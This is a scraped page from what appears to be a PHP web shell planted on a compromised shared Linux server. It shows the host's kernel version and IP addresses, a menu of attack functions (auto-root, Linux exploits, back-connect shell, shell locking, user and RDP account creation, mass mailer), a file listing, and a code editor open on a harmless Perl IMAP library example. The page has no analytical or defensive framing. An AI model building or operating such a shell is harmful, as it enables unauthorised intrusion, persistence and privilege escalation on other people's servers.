Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libnet-imap-simple-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
33189_attach.pl
1.07
KB
-rwxr-xr-x
connectalot.pl
966
B
-rwxr-xr-x
hand_test01.pl
458
B
-rwxr-xr-x
imap.pl
2.99
KB
-rwxr-xr-x
preauth-pipe-server.pl
1.17
KB
-rwxr-xr-x
search-test.pl
1.67
KB
-rwxr-xr-x
status.pl
240
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : search-test.pl
#!/usr/bin/perl use strict; use Net::IMAP::Simple; my $goog = login(); $goog->select("jet"); my @id1 = $goog->search(q(SUBJECT "rt.cpan.org #55177")); print "id1: @id1\n"; my @id2 = $goog->search(q(HEADER Message-ID "<rt-3.8.HEAD-12685-1267618808-430.55177-4-0@rt.cpan.org>")); print "id2: @id2\n"; $goog->put( jet => qq(from: jettero\@cpan.org\r\nMessage-ID: test-77\r\nsubject: test-77\r\n\r\ntest-77\r\n) ); $goog->put( jet => qq(from: jettero\@cpan.org\r\nMessage-ID: <test-77>\r\nsubject: <test-77>\r\n\r\n<test-77>\r\n) ); $goog->put( jet => qq(from: jettero\@cpan.org\r\nMessage-ID: <test-77\@hrm>\r\nsubject: <test-77\@hrm>\r\n\r\n<test-77\@hrm>\r\n) ); my @id3 = $goog->search(q(HEADER Message-ID "test-77")); print "id3: @id3\n"; my @id4 = $goog->search(q(HEADER Message-ID "<test-77>")); print "id4: @id4\n"; my @id5 = $goog->search(q(HEADER Message-ID "<test-77@hrm>")); print "id5: @id5\n"; my @id6 = $goog->search(q(SUBJECT "test-77")); print "id6: @id6\n"; # login {{{ sub login { my $arg = ""; $arg = ".$_[0]" if $_[0]; my $fetchmailrc; { open my $in, "$ENV{HOME}/.fetchmailrc$arg" or die $!; local $/ = undef; $fetchmailrc = <$in>; close $in; } my $server = $1 if $fetchmailrc =~ m/server\s+(.+)/m; my $user = $1 if $fetchmailrc =~ m/user\s+(.+)/m; my $pass = $1 if $fetchmailrc =~ m/pass\s+(.+)/m; print "$server "; my $debug = 1; my $imap = Net::IMAP::Simple->new($server, debug=>$debug, use_ssl=>1) or die "connect failed: $Net::IMAP::Simple::errstr"; $imap->login($user=>$pass) or die "login failed: " . $imap->errstr; print "[in] "; return $imap; } # }}}
Close